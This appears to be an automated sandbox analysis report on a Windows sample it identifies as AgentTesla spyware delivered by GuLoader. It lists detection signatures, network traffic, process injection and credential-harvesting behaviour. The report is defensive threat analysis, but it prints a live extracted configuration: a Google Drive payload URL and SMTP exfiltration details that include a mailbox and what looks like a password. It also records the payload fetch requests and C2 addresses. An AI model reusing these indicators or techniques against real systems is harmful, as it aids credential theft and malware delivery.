Windows Analysis Report n#U00ba410000512664.exe

Overview

General Information

Sample Name: n#U00ba410000512664.exe
Analysis ID: 526313
MD5: 7c91db57c98a1f0e38ba65ed651b4779
SHA1: 28cb0d40a73c1a421a9720808d49da010f9ff4ef
SHA256: 12992fe3f998693d92625c53bf5aa6723e87c8c3fb7057dbba4b334742cab376
Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
C2 URLs / IPs found in malware configuration
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Drops certificate files (DER)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

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Found malware configuration
Source: 00000008.00000000.777892821.0000000000D00000.00000040.00000001.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=downlo_"}
Source: CasPol.exe.4676.8.memstrmin Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "arealaboral@neopyme.comnJm038qQkPmail.neopyme.cominfo.baldorns@gmail.com"}
Multi AV Scanner detection for submitted file
Source: n#U00ba410000512664.exe ReversingLabs: Detection: 26%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01082F08 CryptUnprotectData, 8_2_01082F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01083509 CryptUnprotectData, 8_2_01083509

Compliance:

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Uses 32bit PE files
Source: n#U00ba410000512664.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: unknown HTTPS traffic detected: 172.217.16.142:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.225:443 -> 192.168.11.20:49765 version: TLS 1.2

Networking:

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C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://drive.google.com/uc?export=downlo_
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 54.36.109.179 54.36.109.179
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mppp68ugon2ln1s6q81d25lmk78u5skq/1637587350000/06007705055686197661/*/12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-5k-docs.googleusercontent.comConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49783 -> 54.36.109.179:587
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.11.20:49783 -> 54.36.109.179:587
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CasPol.exe, 00000008.00000002.5712895682.000000001DE88000.00000004.00000001.sdmp String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
Source: CasPol.exe, 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp String found in binary or memory: http://DynDns.comDynDNS
Source: CasPol.exe, 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp String found in binary or memory: http://XrlCbH.com
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: CasPol.exe, 00000008.00000003.906849169.0000000001253000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000008.00000003.906849169.0000000001253000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: CasPol.exe, 00000008.00000002.5721075319.000000001FF60000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0
Source: CasPol.exe, 00000008.00000003.1882378616.000000002002C000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5725497851.00000000213B8000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3b61ccc3ab858
Source: CasPol.exe, 00000008.00000003.1882378616.000000002002C000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en8
Source: CasPol.exe, 00000008.00000003.1882378616.000000002002C000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3b61ccc3ab
Source: CasPol.exe, 00000008.00000002.5714737652.000000001DF21000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5714326963.000000001DEF7000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5713990797.000000001DEDD000.00000004.00000001.sdmp String found in binary or memory: http://gZr4dT3tmP.org
Source: CasPol.exe, 00000008.00000002.5714326963.000000001DEF7000.00000004.00000001.sdmp String found in binary or memory: http://mail.neopyme.com
Source: CasPol.exe, 00000008.00000002.5714326963.000000001DEF7000.00000004.00000001.sdmp String found in binary or memory: http://neopyme.com
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: http://r3.i.lencr.org/09
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: n#U00ba410000512664.exe String found in binary or memory: http://topqualityfreeware.com
Source: n#U00ba410000512664.exe String found in binary or memory: http://www.topqualityfreeware.com/
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: CasPol.exe, 00000008.00000002.5721809838.0000000020016000.00000004.00000001.sdmp, 2D85F72862B55C4EADD9E66E06947F3D0.8.dr String found in binary or memory: http://x1.i.lencr.org/
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: CasPol.exe, 00000008.00000003.906849169.0000000001253000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: CasPol.exe, 00000008.00000003.906849169.0000000001253000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gse_l9ocaq
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp String found in binary or memory: https://doc-00-5k-docs.googleusercontent.com/
Source: CasPol.exe, 00000008.00000003.911628810.000000000124E000.00000004.00000001.sdmp String found in binary or memory: https://doc-00-5k-docs.googleusercontent.com/&
Source: CasPol.exe, 00000008.00000003.906849169.0000000001253000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000003.911628810.000000000124E000.00000004.00000001.sdmp String found in binary or memory: https://doc-00-5k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mppp68ug
Source: CasPol.exe, 00000008.00000002.5690976626.00000000011F9000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000008.00000002.5684651604.0000000000ED0000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5691534029.000000000120D000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq
Source: CasPol.exe, 00000008.00000002.5691534029.000000000120D000.00000004.00000020.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq/?
Source: CasPol.exe, 00000008.00000003.907366419.000000000124E000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7JqHAy6h3LI2Eg_WKr50
Source: CasPol.exe, 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
Source: unknown DNS traffic detected: queries for: drive.google.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mppp68ugon2ln1s6q81d25lmk78u5skq/1637587350000/06007705055686197661/*/12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-00-5k-docs.googleusercontent.comConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 172.217.16.142:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.225:443 -> 192.168.11.20:49765 version: TLS 1.2

E-Banking Fraud:

barindex
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D Jump to dropped file

System Summary:

barindex
Uses 32bit PE files
Source: n#U00ba410000512664.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Detected potential crypto function
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004090A6 0_2_004090A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C41130 8_2_00C41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C43A50 8_2_00C43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4BA78 8_2_00C4BA78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C44320 8_2_00C44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4C7D8 8_2_00C4C7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C43708 8_2_00C43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00CA6D90 8_2_00CA6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00CA07E0 8_2_00CA07E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0102D9E8 8_2_0102D9E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01027BF0 8_2_01027BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_010244F8 8_2_010244F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01023330 8_2_01023330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_010272C8 8_2_010272C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01080040 8_2_01080040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0108C330 8_2_0108C330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0108BA15 8_2_0108BA15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01087D40 8_2_01087D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01084DD8 8_2_01084DD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0108EC20 8_2_0108EC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01084198 8_2_01084198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0108003D 8_2_0108003D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01084548 8_2_01084548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01087C88 8_2_01087C88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01102050 8_2_01102050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_011050C8 8_2_011050C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01101800 8_2_01101800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01106CA0 8_2_01106CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_011080A0 8_2_011080A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_1DCC5E08 8_2_1DCC5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_1DCC46C4 8_2_1DCC46C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_1DCC6AF1 8_2_1DCC6AF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01027BEC 8_2_01027BEC
Sample file is different than original file name gathered from version info
Source: n#U00ba410000512664.exe, 00000000.00000000.624813038.0000000000426000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameObumbration1.exe vs n#U00ba410000512664.exe
Source: n#U00ba410000512664.exe Binary or memory string: OriginalFilenameObumbration1.exe vs n#U00ba410000512664.exe
PE file contains strange resources
Source: n#U00ba410000512664.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: n#U00ba410000512664.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: edgegdi.dll Jump to behavior
Source: n#U00ba410000512664.exe ReversingLabs: Detection: 26%
Source: n#U00ba410000512664.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\n#U00ba410000512664.exe "C:\Users\user\Desktop\n#U00ba410000512664.exe"
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\n#U00ba410000512664.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\n#U00ba410000512664.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D Jump to behavior
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe File created: C:\Users\user\AppData\Local\Temp\~DF8D00AB13BF3C3E52.TMP Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/6@4/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4776:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4776:120:WilError_03
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000008.00000000.777892821.0000000000D00000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404401 pushfd ; retf 0_2_0040441E
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00403826 push es; ret 0_2_00403828
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004044E5 pushfd ; retf 0_2_004044E6
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404584 pushfd ; retf 0_2_00404596
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404599 pushfd ; retf 0_2_004045AA
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004051BE push dword ptr [esi]; iretd 0_2_004051C5
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_0040665D pushfd ; retf 0_2_0040665E
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404279 pushfd ; retf 0_2_0040427A
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004062C1 pushfd ; retf 0_2_004062C2
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004072E1 pushfd ; retf 0_2_0040730E
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004096FC push eax; iretd 0_2_004096FF
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404349 pushfd ; retf 0_2_0040434A
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_00404335 pushfd ; retf 0_2_00404346
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_0040633D pushfd ; retf 0_2_0040634A
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_004067DE pushfd ; retf 0_2_004067E6
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_0040A784 push 18165C0Eh; iretd 0_2_0040A789
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Code function: 0_2_022920FE push ss; iretd 0_2_02292106
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4E5E0 push ds; iretd 8_2_00C4E6EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4E5D0 push ds; iretd 8_2_00C4E5D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4C6C9 push es; iretd 8_2_00C4C6CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4C7D0 push es; iretd 8_2_00C4C7D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C4D788 push ss; iretd 8_2_00C4D78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01026500 push ecx; iretd 8_2_01026502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01026510 push ebp; iretd 8_2_01026C0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0102D18E push es; retf 8_2_0102D1F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0102D1F2 pushad ; retf 8_2_0102D251
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01026C0B push ebp; iretd 8_2_01026C0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01026C08 push esi; iretd 8_2_01026C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_01026C11 push esi; iretd 8_2_01026C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0102C341 push 8BFFFFFFh; retf 8_2_0102C350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_0102CE1A pushad ; retf 8_2_0102CE29

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
